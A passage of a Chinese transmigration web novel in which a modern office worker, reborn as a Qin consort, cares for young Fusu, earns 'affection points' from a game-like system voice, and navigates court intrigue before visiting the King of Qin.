清晨的光线,温柔涂满整个视野,地上有一圈圈碎金般光晕,从窗口一直蔓延到床下,寝室外传来宫女们焦急跑动的声音,隐隐还伴有倒热水的哗哗声。 “嗯……”姜暖睡得特别沉、特别香,这会儿还有些意犹未尽,她甚至还用了将近一分钟的时间,来确认眼前这一切并非一场梦。 一颗圆圆的小脑袋,在她视线边缘晃动了一下,接着一张睡意惺忪的小脸仰了起来,一声软糯的“阿母”随着哈欠声送出来。 果然不是梦,她朝扶苏挤出一丝甜甜的笑,心想昨晚能够平安回宫,功劳全在这孩子身上。 然而还不及多说什么,小扶苏就被另一个叫做冬岚的高个子侍女抱下了床,他哼哼唧唧地舍不得离去,两只手八爪鱼似的抓着床沿。 “我、我身体不舒服,你去和先生说,就说我今日不去学堂了——” “这怎么行?您要是不去,申先生一定会拿着戒尺到宫里来寻你的。”东岚像是回想起了什么不好的回忆,肩膀哆嗦了一下。 看来这小家伙以前没少逃课。 姜暖坐起来,示意东岚松开手,东岚嘟嘟囔囔地照做了,手指刚一离开,扶苏就嗖地跳上床,把脑袋埋进她怀里,呈难舍难分状。 “反正我今天一定要和阿母在一起,我不去上课,不去!” 姜暖被萌到了,在他头上揉了揉,想了想后耐心劝道: “公……扶苏,乖,听话,今天你一定要到学堂去,而且要学得比每天都认真,这样你父王才能放心让我陪在你身边。你想啊,要是我刚一回来,你就逃学,你父王会怎么想?会不会觉得是我耽搁了你的功课,继而将我赶到别的地方去?” 扶苏没想到这一层,大惊失色,连忙从她怀里挪蹭出来,麻利地下了床。 “阿母,儿臣知道了。”他两根食指勾着,乖巧地说,东岚趁机给他重新束了发,“您一定要等着儿臣回来啊。” “嗯,阿母哪也不去,就等着你回来。”姜暖慈爱地一笑。 她也是真没地方去,人生地不熟不说,还处处潜伏着危机,她可不想一踏出门槛就被射成筛子。 东岚领着扶苏去洗漱了,两人前脚刚走,秋穗就迫不及待催她也赶紧更衣洗漱,侍医已经在外面等小半个时辰了。 她自是不敢耽搁,连忙下床坐到梳妆台前。侍医是奉秦王之命一大早赶过来的,她岂敢让他久等? 任何可能会引起秦王不悦的事,她都不敢做。 秋穗照顾她经验十足,不到一炷香的工夫,就让她清清爽爽、焕然一新,倒是姜暖,对着镜子里原主秾丽绝美的脸蛋发起了呆,惊艳得合不拢嘴巴。 原主与自己有几分相似,却美得惊心动魄,远胜自己千百倍,就这还是大病初愈时的姿容,简直不敢想象全盛时期容色会有多艳绝。 她贪婪地摸着自己的脸颊,目光恋恋不舍地黏在铜镜上,直到秋穗强行将她从镜前拖起来,摁回到榻上盖上被,才让人宣侍医觐见。 诊脉后,身体并无大碍,只有些不痛不痒的慢性病,还有因昨夜淋雨着凉造成的风寒,侍医开了一堆药方,交待了用法用量,而后恭敬退出。 这边人刚走,后脚秋穗就端来了早饭。很丰盛,有菜有汤还有肉,就是黍米有些粗糙难嚼,她得用水泡软了才能下咽。 吃过早饭,另一个侍女匆匆跑过来,说热水准备好了,夫人可以去沐浴了。 她叫夏芸,还有一个胖乎乎的尚未与她搭过话的侍女叫春柳,原主的几个贴身丫鬟,名字都是按照季节起的,但似乎只有秋穗,是和她一道从楚国过来的陪嫁。 姜暖这才感觉到浑身黏糊糊的,迫不及待跳进浴盆里。幸好她从小在东北长大,对于在外人面前坦露身体并任由其搓搓擦擦这件事毫无负担,甚至还有几分乐在其中。 毕竟这盆里还洒了好多花瓣呢,甚至有几大朵完整的鲜艳欲滴的红玫瑰。 呜呜呜,刨除被追杀以及被秦王不待见外,这种生活简直是姜暖梦寐以求的—— 不用007,不用反复修改报表数据,更不用为了那点打发叫花子的钱累到猝死。 “呐,秋穗,我先前和王上是不是因为什么闹过不愉快呀?”搓到后背时,她故作轻松地问了一句。 明显感觉秋穗的手掌一僵,像是块石头抵在她脊背上,硌得她生疼。 “秋穗?”姜暖半扭过脸,歪头唤道。 “怎、怎么会呢,你们一向恩爱如初,夫妻和睦……” “你别撒谎了,我虽然记不起来任何事,但不是变成了傻子,昨夜王上对我的态度很不好,你若是不想让我哪天触到他的逆鳞,继而招致灭顶之灾,便将一切如实告知我,我好心里有数。” 秋穗犹豫半晌,手臂渐渐柔软了下来,恢复了轻轻的擦动。 “您之前……背叛过王上,这件事让他出离愤怒,但因为您很快就被诊出有了身孕,王上并没有过于责罚,只是限制了您的活动。” 秋穗的声音软得像只小猫,说出的内容却不亚于一道惊雷,在姜暖耳畔轰地炸开。 然而这只是个开始。 “我、我背叛过王上?”印象中秦王是个有些缺乏安全感的人,最讨厌背叛,却一辈子都在被背叛。 “嗯。”秋穗开始给她擦胳膊,“五年前,也就是王上即位第三年,相邦完全把持了朝政,将原本在秦国任重要职位的华阳太后的两个弟弟流放了,华阳太后本就更支持公子成蟜当秦王,出了这事便起了谋反之心,当……当然没有成功,动乱还没势起就被相邦察觉,掐在了萌芽之中。” 若说刚才落下的是一道惊雷,那么此刻便是一枚深水鱼#雷。 姜暖身体开始打哆嗦,她用力咬住牙,让秋穗继续往下说。 “您倒是没做什么,只是按照华阳太后的吩咐,在王上的茶水里加了安神药……” 姜暖听得心脏都快蹦出来了。 这、这叫“没做什么”?难道非得是她抽出匕首往他胸口上刺一刀,才叫“做了什么”吗? 她有点不敢听了,却又不得不继续听。 “那杯茶水,王、王上喝了吗?”她颤抖着双唇问道,在水下抱紧双膝。 “喝了。王上对其他人都不能够绝对放心,唯有您,他一点都不设防,这也正是太后选择您辅助的原因。” 姜暖垂下头,下巴搁在膝盖上,有种全身血液都流光了的虚弱阴冷感。 她竟做了这样的事……看来昨夜秦王的态度,已算是宽和的了,不就是让她久等 7. 系统 《在大秦王宫的养崽日常》全本免费阅读 “阿母,阿母,这边走,快、快点——” 扶苏小朋友牵着姜暖的手,像只撒欢的小狗,蹦蹦跳跳在前面带路。 今日下午他一从学堂出来,就一路小跑奔回芷阳宫,身后大呼小叫地跟着两个随从,沿途还险些冲撞到长信侯的马车。 但他理都不理,一心只有阿母,一进门就牵起她的手,将她往自己寝室里拽。 姜暖在芷阳宫里瑟瑟发抖了大半日,满脑子都是自己曾给秦王下药这件事,几乎坐立难安。 前一秒刚说服自己要勇敢,要支棱起来,自由最重要,下一秒又讪讪地塌下肩膀,焦躁而无意识地往嘴里塞着甜枣,试图让那丝丝甜腻来抚平内心躁动。 这也不能怪她,试问历史上几人有这个胆儿,敢给秦王嬴政下安眠药? 扶苏的到来,神奇地安抚了她的情绪,看见他小小的身躯和可爱又灵动的模样,她竟陡然生出了一种无所畏惧的态度,随他一同来到与她隔了一间厅堂的他的寝室。 那是一处相当敞亮的居室,卧房区域在最里面,外面是书房和厅房,陈设精美奢雅,很是符合姜暖的想象。 也能看得出,秦王对这个孩子,骨子里是重视的,并没有因为他阿母的过错而迁怒于他,吃穿住行都是最优等的,甚至不去上课,还有老师提着藤条登门“拜访”。 扶苏将她拉到自己小床边上,松开她的手,匍匐着从床底下摸出一只笔记本电脑大小的紫檀木匣,放在榻上,跪着打开来。 姜暖顺势搭床沿坐下,视线落在木匣里,微微吃了一惊。 匣子里满满堆放着一些小物件,种类混杂,既有熠熠耀目的翡翠玉石、金簪银钿,也有木头削成的小动物玩偶,甚至还有一件针脚笨拙的婴儿的衣服。 一行眼泪毫无征兆从姜暖眼眶缓缓滚落,带着灼人的温度,一路逶迤流淌到唇角,最后滴落在木匣里。 诶? 姜暖抬手用力抹了抹,她确实在一瞬间感受到了伤感,却不至于如此落泪。 她是被一种不属于自己的情绪短暂地左右了,这份情绪显然属于原主,那个连自己的孩子都没能亲手抱一抱的可怜女人。 她用力皱了皱鼻子,努力压下翻涌上来的酸涩,为了掩盖,从木匣里取出一只绒布面的拨浪鼓,拿在手里轻轻晃了晃。 “阿母,她们说这些都是您之前为我准备的,里面的饰物也是您之前最喜爱的,我都收集起来了,每当想您的时候,就翻出来看看,睡不着觉的时候,就放在枕头边上,不一会儿便能睡着了。” 扶苏垂着小脑袋,一边拨弄着里面的东西,一边有些羞涩地小声说道。 就算没有原主的情绪干扰,姜暖也快受不了了。 她本就是个共情能力强的人,看个动画片都能哭得稀里哗啦半天走不出来,更别提看见这样一个乖巧可爱的小人,在这儿温情又悲伤地追溯思念母亲的过往点滴了。 “以后就不需要这些了,阿母现在就活生生地坐在你身边,你若是再睡不着,阿母陪你睡——” 姜暖还有个坏毛病,情绪一上头就容易许诺太多,不过此刻她完全不认为有任何不妥,反而还因为没能承诺更多,而略感愧疚。 “真的吗?”扶苏惊喜地抬起头,他眼眶也是湿的,一串小鼻涕在嘴巴上方摇摇欲坠。 姜暖掏出手帕,给他擦了擦,认真点头道:“当然了,不过扶苏你是男孩子,可不能夜夜都让阿母陪你睡哦。” “嗯。”扶苏满足地应了一声,把头埋进她怀里,拱了拱。 姜暖有个弟弟,比她小5岁,所以她还蛮会照顾小男孩的,何况扶苏可比她那个便宜弟弟乖巧多了。 其实她没能猝死在公司里,进而失去了唾手可得的抚恤金,原因还与她那个便宜弟弟有关。 那段时间她天天加班,弟弟便骑着个共享单车,从大学城一路骑来,每日在公司外咖啡馆等她,两人一起坐地铁回家。 出事那日,时间熬得实在太晚,她知晓弟弟明日有考试,可怎么劝他都不肯走,捧着个《流体力学》坐在她公司楼下花坛上学得不亦乐乎,她心里着急,便提前结束了加班,最终落得了一个鸡飞蛋打的结局。 也不知道弟弟看见她猝死的尸体,心里会不会承受不住……想到这儿,她鼻子又是一酸。 “今日扶苏好感度加10。”一道AI般的机械声音在她脑中忽地腾起。 姜暖身子一僵,以为自己幻听了。 “宿主姜暖因平日乐善好施,勤恳工作,特获重生机会一次,完成系统任务后,可以重回现代——” 啥? 姜暖迷茫地瞪大眼睛,捂住耳朵使劲晃了晃脑袋。 那声音还在颅内回响。 “阿母,你怎么了?”扶小苏从她怀里仰起脑袋,揉着鼻子疑惑地看着她。 姜暖下意识低头,却赫然在扶苏头上,看见了一个大大的红色数字“10”—— 她又是一僵。 “扶苏好感度加10,距离满分还有90,请宿主继续努力,达到100分,便可获得重返现代机会一次——” “哦,忘了说了,宿主还有一个金手指,虽然并非百分之百管用,但也聊胜于无吧。”机械声音忽然调皮了起来,却听得姜暖头皮发麻。 这好像跟自己以前看的穿越小说不大一样啊,聊胜于无的金手指,怎么一股扑街味…… 而且,到底是什么金手指,您能不能一口气说完啊? 像是能听到她的碎碎念,系统沉默了一晌,继续道:“就是‘运气比较好’,仅此而已。” 嗯? 姜暖眼皮一跳,一侧眉毛挑了起来。 “运气比较好”,似乎也还行…… 她忽然想起了一些细节。秋穗说过她喂她掺了毒药的粥时,一只不知从哪儿窜出来的黑猫打翻了她的碗,阴差阳错救了她,还有昨夜,若不是她非要去低头看一眼衣服上的花纹,太阳穴早就被毒针给贯穿了…… 她打了个冷战。 而系统的声音,此刻已经完全消失了,连带着扶苏头顶上的红色“10”。 为了证实不是幻觉,她晚上陪扶苏吃饭、学习、睡觉,还给他讲了故事,果然又听到了那道熟悉的声音。 “扶苏好感度加5——”接着便是他头顶上浮现一个“15”,半分钟后又消失。 姜暖重重地躺回枕头上,硬邦邦的枕头磕得她一阵头晕眼花。 她瞪了一会儿床顶盖,侧身给熟睡的扶苏掖好被角,而后继续双目圆圆地瞪着 8. 帮忙 《在大秦王宫的养崽日常》全本免费阅读 这几日,姜暖几乎时时刻刻陪在扶苏身边,陪他吃、喝、练字,去后院喂小马(去年生日他父王送的,产自胡地,与他同岁),还将记忆中的配方交给小厨房,做了一盘山楂糕和桂花糕,给他尝尝新鲜。 她一半为了私心,另一半却是真的乐在其中,毕竟谁不喜欢乖巧可爱,软糯漂亮的小团子呢。 可即便如此,也只是让扶苏的好感度又增加了5,在这之后,便无论如何也不动弹了。 想是小家伙好感度的阈值提升了,寻常互动已难以再增加分数。 某晚,她心血来潮用铃铛做了几只晴天娃娃,悬挂在殿门口,风一吹便哗啦哗啦地清灵响动,甚是新奇,连平日里最不愿意看大门的小内侍们,都争抢着在门口执勤,只为听一听微风拂动风铃的清脆响动。 小扶苏一开心,好感度终于又增加了2,变成22了。 “父王已经好久没来看过我了。”早饭时,不知想到了什么,扶苏忽然低落起来,搁下竹筷,嘴角贴着一粒黍米,可怜巴巴嘟囔道。 因为你父王是个工作狂啊,姜暖在心里吐槽道,给他夹了一块烤羊腿,指尖轻轻刮去米粒:“没事,父王不来还有阿母呢,等你今天下学了,阿母陪你放风筝好不好?” “风筝?”小朋友的注意力很容易转移,“风筝是什么呀?” 战国时代竟没有风筝吗?那正好:“是一种能在天上飞的好东西,就像老鹰一样,你可以用手操控它飞行。” 扶苏眼睛一亮,瞬间忘却了寡情的父王,拍着手说好。 不过战国时代没有纸,只能用轻盈点的布料制作,还需要木块、竹条、粘合剂之类,这些她宫里肯定没有,但若是让秋穗去申领,她怕引起不必要的麻烦,毕竟这些东西不像山楂、桂花,是吃进嘴里的,领取起来并不引人注目,顶多让人以为她嘴馋。 她现在最不想要的,就是被任何人关注到,尤其是秦王。 说实话,知道原主曾经的所作所为后,她每天一睁眼最害怕的,便是听见“王上驾到”这样的声音,幸好秦王对她兴趣不大,回宫这五六日,完全无事发生,她就像是一只被他从仓库里捡出来,又扔进储物柜的布娃娃。 综上所述,她现在陷入了一种矛盾之中:扶苏想见父王,她却畏惧见到秦王,可若是能见到秦王,扶苏的好感度势必会增加,她距离返回现代也更近一步。 “夫人,夫人,蒙毅大人来了。”冬岚小碎步跑进来,满脸红光地汇报道。 作为侍女,大都希望自家主子能重获圣心,这样自己也能好过一些,而蒙毅的到来,无疑是个好信号。 可姜暖却慌了手脚,在屏风后面鬼鬼祟祟了半天,才端着袖子绕出去,头重脚轻地步入正殿。 “国夫人。”蒙毅看上去与成蟜年纪相仿,还是个未脱尽稚气的少年郎,身穿郎官的红绸轻甲,恭敬地向她叠手拜礼。 姜暖带点僵硬地咧咧嘴角,不知该说什么,或者说,能说什么。 对面的蒙毅,显然也有此烦恼,他几次欲言又止,最后有些磕巴地开口问道:“夫人近来身体可有康复?” “好多了,多亏王上派人诊治,芈蓉感激不尽。”她喊口号似的回答道,恨不得把“王上”两个字用金子裱起来,以示膜拜与无二心。 “那便好,夫人这边可还缺什么?” “……”姜暖迟疑片刻,忽然想到了风筝,“呃……我确实想要几块薄木板,一些薄竹片,还有浆糊。” 或许是因为蒙毅虽然高高大大,但看上去似乎很好说话,她就一下子脱口而出了。 蒙毅显然一愣,困惑地看着她,表情很像是一只迷路了的大狗狗。 “啊,那个,扶苏近来总觉得无聊,我便想做些有趣的玩具陪他玩,毕竟我之前都没能陪伴他——”说到最后,尾音故意低落下去,茶里茶气的。 这也就是借着别人的皮,不然她可说不来这样煽情的话语。 偷偷抬眼瞅了一眼,竟见蒙毅眼眶微湿,似乎大为动容,不禁有些心虚起来。 还挺能共情,f人吧。 “这个自然不成问题,稍后我就命人给夫人送过来,除了这些,夫人还有其他需要的吗?” “没有啦。”姜暖轻快地说道,忽然想起了什么,“哦,能劳烦你带我在附近转转吗?昏睡了这四年,记忆很多都淡漠了,我甚至连章台宫在哪个方向都找不清了——” “自然可以。”他犹豫片刻,点点头,觉得这没什么不妥的。 几分钟后,两人便一前一后踏出了芷阳宫,整个过程她都没有问起过秦王,这让蒙毅略感为难。 兄长说了,一定要想办法透露是秦王派他去慰问的,但又不能直接说。 原因兄长不肯解释,还给了他一个“解释你也听不懂”的眼神。 可沿路走了半天,夫人一句“秦王”都没提,就好像他也从她记忆里淡漠掉了似的,想要话赶话都不行。 他不得不一边指着附近的宫殿群介绍,一边寻找着插话时机。 姜暖用手轻挡着阳光,努力记住每一座宫殿,以及其主人、用处。 “再往前,便是太后、太妃们居住的区域。左边那座高大些的宫殿是甘泉宫,赵太后就住在里面。” 赵太后。 姜暖心里咯噔一声,右脚崴了一下,蒙毅赶紧扶住,见她站稳后立刻挪开了手,在旁边站得笔直。 ——目下恐怕没几个人知道,在那座高大的宫殿里,藏着两个与秦王同母异父的弟弟…… 不知怎的,这个认知让她感到深深的恐惧。她忽然有种即将触碰到险恶禁忌的惶恐感,连忙调转脚步,说想去另一个方向逛逛。 蒙毅对此丝毫没起疑心,因为他早就知道,太后和国夫人曾经关系很不好,那时太后想让王上娶魏国公主,或者齐国公主,反正哪个都比与华阳太后同姓的楚夫人强,但王上不肯,还差点与她闹掰。 远离甘泉宫,姜暖心跳才平缓下来,她浅浅地吸了一口气,抬起目光,正要去记斜前方的宫殿名时,两道近在咫尺的身影攫住了她的注意。 那是成蟜,和一位华服温婉的美妇人,正相伴着在宫殿外花园中散步。 “是公子成蟜和其母韩太妃。”蒙毅低声提醒说,好像已经完全接受了她失忆这一事实。 他们显然也注意到了她。 虽然隔着一段距离,姜暖也看到韩太妃脸上掠过一阵惊讶,接着是一抹温情又悲伤的笑意。 只见她拍了拍成蟜的手臂,略微加快步伐,拢着长袖朝姜暖走过来。 她走近时,姜暖连忙垂眸拱了下手。太妃是长辈,她理应行礼,这个观念早已刻在中国人骨子里了,无需提醒。 成蟜跟在阿母身后,也朝她行了一礼,他神色淡然,仿佛与她关系并不亲近,丝毫看不出曾经揶揄调笑过她。 “果真苏醒过来了,先前听成蟜说我还不信。”太妃人美声音柔,令姜暖想起了早已过世的母亲,眼中不禁微泛泪意。 “身体可还好,让侍医看过了吗?”太妃抓过她的手,轻轻捏了捏,语气透着心疼,并不像装的。 “看过了,是……王上派来的人。”姜暖尽量不动声色说道,偷偷观察着太妃的表情。 太妃久居宫闱,又有一个不安分的儿子,势必会关注一些事情,或许她能知道是谁派人刺杀自己的。 果然太妃眼底蓦地闪烁了一下,只是速度太快,她还没来得及看清那是什么情绪,它就飞速闪过了,不留一丝痕迹。 “那太好了,以后你一定要多多亲近王上,这样——”她顿了顿,像是在斟酌,“这样各方面才会有保障。” 说罢,意味深长地瞥了她一眼,话中有话的样子,同时手指在她手背上轻掐了一下。 姜暖立刻意识到,太妃很可能是站在自己这一边的,而且,她一定是知道些什么。 “太妃说的是。”她依旧不动声色,手指也反过来用力,在太妃指腹上捏了捏,这些都掩盖在了宽袍大袖下,蒙毅是看不见的,“许久未见太妃,不如我去太妃宫中坐坐吧。” 此话一出,她便有些后悔了。 自己先前曾与成蟜、华阳太后搅入过叛乱,此番一苏醒,谁也没见直接就去成蟜之母的宫殿里,任谁看都有点“贼心不死”的意思,属实是主动踩雷了。 幸好韩太妃比她机敏,圆滑地笑了笑,道:“这还真不巧,我宫中正在擦洗,改日我去你那儿,你等我。” 完全就是唠家常的语气,且她作为长辈,去探望大病初愈的小辈,这谁都调不毛病。 姜暖懂事地点了点头,说好。 太妃手指从她腕子上滑落,轻飘飘的,宛如一片落叶,有一瞬间,姜暖在她眸中看到了一丝担心的神色。 但她终究什么也没说,手搭着儿子的手臂,与他们辞别了。 错身分开时,成蟜回头瞅了她一眼,眼神有些意味深长。 姜暖没心情继续闲逛了,而且也不好意思再耽搁蒙毅的时间,便对他说自己想回芷阳宫。 没想到蒙毅竟变得有些磨磨蹭蹭,护送她回去的路上,步子明显减慢不说,还几度欲言又止。 姜暖属实有些摸不着头脑,到了殿门口,蒙毅还翕动着双唇,英俊的脸上凝固着尴尬而不知所措的表情。 “你是不是有什么……想对我说的?”她眨了眨睫毛,试探问道。 “夫、夫人真的没有其他需要了吗?”蒙毅脸憋得通红,磕巴说道。 “?” 姜暖脑子里塞满了问号。咋这么问呢,莫非秦王还给他下了什么KPI? 9. 答应 《在大秦王宫的养崽日常》全本免费阅读 “太妃何出此言?”姜暖压下心头躁动,尽量柔声款语道,“成蟜是先王次子,大王的亲弟弟,谁敢加害于他?” 太妃无助似的摇了摇头,柳眉深深蹙起,她本就有一副我见犹怜的柔弱气质,这样的神情做出来,连姜暖都忍不住泛起心疼,倾身握住她的一只手臂。 “太妃既然来找我,想必也是信得着我的,甚至不惜得罪太后,将实情告知于我,芈蓉很是感激,所以太妃有什么话尽管直说,若是能帮我一定会帮您的。” 那晚成蟜也算救了她一命,不管出于何目的,总归是救了,她知道感恩的。 “谢谢你,蓉儿。”太妃落下眼泪,“我是真的走投无路了,不然也不会来寻你,这事都怨我,是我太傻了,以为是为了蟜儿好,实际却害了他。” “太妃您慢慢说。”姜暖给她续上热茶,在她手臂上轻轻拍了拍,以示安抚。 太妃掏出手帕,揩了揩眼角,似乎有些为自己的失态感到羞窘。 “前段时间,不知是何人所为,城中谣言四起,说蟜儿原本是先王钦定的王位继承人,只因相邦吕不韦权势熏天,暗中篡改了遗诏,才让大王即了位,而华阳太后先前的政变,也只是想要为先王讨回公道——这当然是假的,先王一开始就没考虑让蟜儿即位,华阳太后也仅是因为兄弟接连被吕不韦流放,而心存恨意,一时冲动做了错事。” 姜暖听得心惊肉跳,咽了咽口水道:“如此大规模的谣言,绝对是有人刻意为之,这个人是谁,太妃心里可有数?” 太妃摇摇头: “最初我以为是赵太后,后来又觉得不大可能,可又想不出第二个人选。蓉儿,我们真的是冤枉啊,那件事后,蟜儿生怕大王对他起疑心,学业上渐渐懈怠,连平日里最爱看的兵书也不再看了,整日与其他公子哥混在一起,吃喝玩乐,花钱如流水,为的就是让那些虎视眈眈盯着他的人放松警惕,他其实一点野心都没有,只想安安稳稳活着,这也是我的心愿,可如今我们娘俩连这点心愿都难以维持了……” “太妃莫慌,只是谣言而已,不作数的,王上何其英明,怎会因为一些没根的谣言就降罪。” “大王自是极宽容的,可其他人却未必。”太妃眼眶凄红,手帕紧紧绞在手指上,“我又怕又慌,便想着带蟜儿远离咸阳。我想让大王划一块封地给我们,多小多偏僻的一块封地都行,我们只想远离咸阳,远离这纷争中心,可按照大秦的律法,宗室之人若想获得封地,必须要有战功——” “等等。”姜暖感到头皮猛地一炸,“不、不能让他去领兵打仗——” 历史中成蟜就是这么死的。 太妃一愣,眼神有一瞬间的迷茫:“大王也是这么说的。” “王上?” “是的,还把成蟜唤到宫里呵斥了一通,蟜儿这个傻孩子,到底是年纪小,不知怎的,竟跟大王顶起了嘴,闹得不欢而散。我问他原因,他也不肯说,我急得要死,忽然想到我有一个弟弟,曾在稷下学宫求学,是个特别有才华的人,便写信将这些事告诉了他,请他出个主意,而他的回复也和你们一样,千万不能领兵出征。” 姜暖心虚地眨了眨睫毛,她这样说全是因为上帝视角,而非灵敏的判断力,其实她也不大明白,为何这些“高人”都坚决不让成蟜领兵打仗。 但这也从侧面表明,历史上成蟜可能不是主动叛变的,或许他是陷入了圈套,不得已而自裁。 “那……您那位兄弟,说原因了吗?” “没有。目下韩国整日战战兢兢,担心秦国随时欺压而来,我自是不敢过多与他们联系……不过,韩非在信里叮嘱说,让我小心吕不韦。” 韩非? 姜暖一开始还有点恍然,接着幡然大悟。 是啊,太妃是韩国公主,韩非是韩国公子,两人是姐弟的概率自然相当高…… 只是她远没料到,韩非居然这么早就蹦出来刷存在感了,其实太妃方才说“稷下学宫”的时候,她就应该猜到几分。 “小心吕不韦?”姜暖小声重复道,“莫非……谣言是他散布的?” “我也不敢肯定。可若是真的,他为何要这样做呢?这些年来,蟜儿已经很努力表现出毫无野心的样子了,甚至不惜时常出入胡人的酒肆、赌场,以自污来自保,可他们为什么还是不肯放过他?他真的一点野心也没有,而且他虽然有些小聪明,却完全不是当王的料,如此浅显的道理,他们为何就不懂呢?为何非要一直对我们苦苦相逼呢?” 太妃终于啜泣出声,姜暖连忙站起来,绕过长案,坐到她身旁,轻拍她肩膀: “他们自然是都懂的,但这并不妨碍他们继续利用你们。”姜暖尽量客观地说道,“只是我不明白相邦为何要这样做,莫非——” 一个可怕的猜测,在她脑中形成。 不会吧,就为了这个,竟要牺牲一个活生生的生命 10. 不见 姜暖蹲在寝殿门口的院子里,笨拙地锉着一块木板。 扶苏就要下学堂了,可她的风筝只裁出了一块菱形的布面,骨架部分目前还是几根零散在脚下的糙木板,厚得像一本书,她锉磨了半天,除了将手指磨出一个大泡外,木板并没有显著地变细、变薄,根本无从组合成风筝轻盈的骨架。 看着崎岖的木块,她叹了一口气,感觉今日要让扶苏失望了。 其实最开始,秋穗她们是想过来帮忙的,被她硬生生赶走了。她主要是想趁着干活的工夫,放空一下自己,否则脑子里总是转着上午与韩太妃的对话。 赵太后想杀她,吕不韦想除掉成蟜,吕不韦先前还想让秦王处死自己…… 而自己,得马上想出法子,见到秦王。 这一切乱糟糟地纠缠在一起,让她脑仁发涨,不得不一边机械地干活,一边将之慢慢消解掉。 一道身影徐徐凑近,接着,一个人形的轮廓像云朵覆盖而来,遮住了地上光影。 “国夫人。”头顶传来蒙毅端方清亮的声音,姜暖微微一惊,懵懵地抬起头,看见他正向她行礼,胳膊还夹着几块颜色丰富的布料。 “库里的布匹都有些老气,可能不大适合给公子做玩具,趁着中午回府,臣在集市上买了些新鲜的款式,您看看如何?”他有些不好意思似的解释说,蹲下来,双手将布料递过来。 姜暖没料到他竟如此贴心与负责,简直感动得想哭,连忙接过,连连说了好几声“有劳了”。 布料漂亮极了,摸起来也轻盈柔软,带着些微的这个年代特有的粗糙感。 蒙毅腼腆地笑笑,眼睛向下掠过她裙裾上的碎木屑,和地上的一片狼藉。 “那个……您这是在做?”他大为震撼。 “风筝,能在天上飞的那种,也叫纸鸢。”姜暖回答得很没底气,磨出水泡的手指往袖里缩了缩。 然而蒙毅并没有继续追问,他歪了歪头,捡起地上的锉刀,问她想要锉成何般大小。 姜暖拿木棍在地上涂画了一下,蒙毅点点头,手中锉刀转了个花样,接着木屑便像盛开的花瓣似的,自刀片下一圈一圈、层层叠叠地坠落,很是好看。 姜暖看呆了,她以前只见过有人削苹果削得如此顺手,花样迭出,万万没想到蒙毅这样鼎鼎大名的历史人物,居然还有如此手艺。 不到两分钟,被她锉磨得崎岖不平、伤痕累累的木块,就蜕变成了她想要的薄厚与大小。 姜暖连忙把其他木块往前推了一把,身后看不见的狗尾巴欢喜地摇了摇。 蒙毅极富耐心地全盘接受,就蹲坐在树荫下认真帮她锉木板,身上不一会儿也落满了木屑。 “你真厉害呀,什么都会。”她由衷佩服道,抱着膝盖蹲在他旁边观摩。 “还好,都是跟兄长学的。”蒙毅十分谦虚,只是提到兄长时,睫毛微微抖了抖,眼里什么东西轻闪而过。 “真好,有你们在王上身边,王上一定很舒心。”姜暖想起了三人亲密无间、毫无保留互相信任的关系,这种关系即便在几千年的历史中,也属于罕见,是一段君明臣忠的佳话。 然而一想到最终的结局,她心里像被抽了一鞭子,疼痛绵延开来。 蒙毅闻言,手中的动作忽然顿了一下,他把头稍稍垂低,眉骨的阴影让他的表情看上去有些阴郁。 “我……比不了兄长,若不是兄长被提拔为内史,王上大约也不会让我以郎官的身份侍奉左右。”他带着一丝苦笑道,恢复了锉刨,动作比方才更用力些,木屑像电火花一样喷溅出来。 姜暖敏锐地捕捉到了他小小的失落,连忙安慰道:“怎么会呢,我反倒觉得,你与王上的配适度会更高些。” 毕竟历史不会说谎。“出则同辇,入则同席”,说的就是蒙毅。而蒙恬,发光的地方在战场。 不过他好像挺多才多艺的,音乐、书法等样样精通。 “真、真的吗?”蒙毅忽然有些雀跃地扬起脸来,英俊的眉眼淬着金灿灿的碎光。 这样看去,完全就是一个大男孩的样子,会因为突如其来的戳心窝子赞扬而眉飞色舞,喜笑颜开。 姜暖用力点点头:“当然是真的。王上是什么样的人,怎会把自己用不惯的人放在身边呢,他定是相当中意你,哦,对啦,王上他……近来如何?” 她趁机把自己的小九九插进去。 蒙毅还沉浸在被肯定了的喜悦中,丝毫没觉出异样,他比量着木板的大小,一板一眼回答道:“不大好,经常生闷气,胃口也不怎么样——” 姜暖灵机一动,嗖地站起来,提着裙摆蹬蹬跑回寝宫,端出剩下的几块山楂糕,递给蒙毅。 “你尝尝这个怎么样,是我做给扶苏吃的,酸甜又开胃。” 蒙毅微诧,手指迟疑着探出,拈起山楂糕上插着的竹签,挑了一块入口。 咀嚼间,瞳孔瞬间放大,又慢慢缩回。 “这是……山楂?”他眼中闪过惊奇与惊艳的光芒,边嚼边问。 “是啊,近来天气热,扶苏胃口也不好,我便试着做了些,他意外喜欢吃呢,怎么样,你觉得王上会喜欢吗?”姜暖满怀期待地问道。 “会的,王上本身就喜欢吃酸的——”他话音骤降,眼睛忽地瞪住她,“您……您想去见王上吗?” 姜暖怯怯地点了点头,耳朵染上一抹桃色,她捡起根木棍,在地上胡乱涂抹着:“我、我其实也挺……担心他的,就是怕他把我轰出来……” 那倒不至于,顶多不见而已,蒙毅心里闷闷地跟了一句,面上却只是抿了抿唇,什么也没说,继续锉木块。 时间一点点流过,姜暖就这样半蹲着看他劳作,最后连骨架的拼接、粘贴也都一并交给他了,总算在扶苏回来前,赶出了一只歪歪扭扭的风筝。 而她也从蒙毅口中,了解到了王上的作息。 好极了。 第二日,她便决定展开行动。 她知道秦王大概懒得搭理她,也知道自己在他心中已然失去了分量,他不恨她已是恩赐,但她必须尽快与秦王减少隔阂,硬着头皮、不要脸面也要上,这可是涉及到了她的生命安全。 在这偌大的咸阳宫内,目前只有他能保护自己。 她只能攀住他这一棵大树。 秦王固然气场可怖,但还处于略显青涩的初级阶段,尚未进化成日后的终极大魔王形态,她还是能提着一颗砰砰狂跳的小心脏莽上一把的。 于是第二天一早,把打着哈欠、嘴里嚼着最后一口小米饭的扶苏送走后,她便指挥着小食堂,忙活了将近一整天,总算在晚饭前,蒸出了一屉形状完美的山楂糕,冷却成型后,切成小块,放进食盒,由秋穗提着,一道往章台宫行去。 夜色有些深了,特意挑这个时候,是怕被打扰。蒙毅说戊时之后秦王便不再召见任何人,潜心在章台宫阅读、处理政务,是她去拜访的最佳时间。 临近宫殿大门,她不争气地生出了退缩之心,脚步也磨磨蹭蹭起来,她用力抿住双唇,指甲掐进掌心,在心里默默告诉自己,不要慌,至少他不会杀你。 这样纠结着,竟也慢慢攀上了高阶,来到章台宫高大肃穆的殿门前。 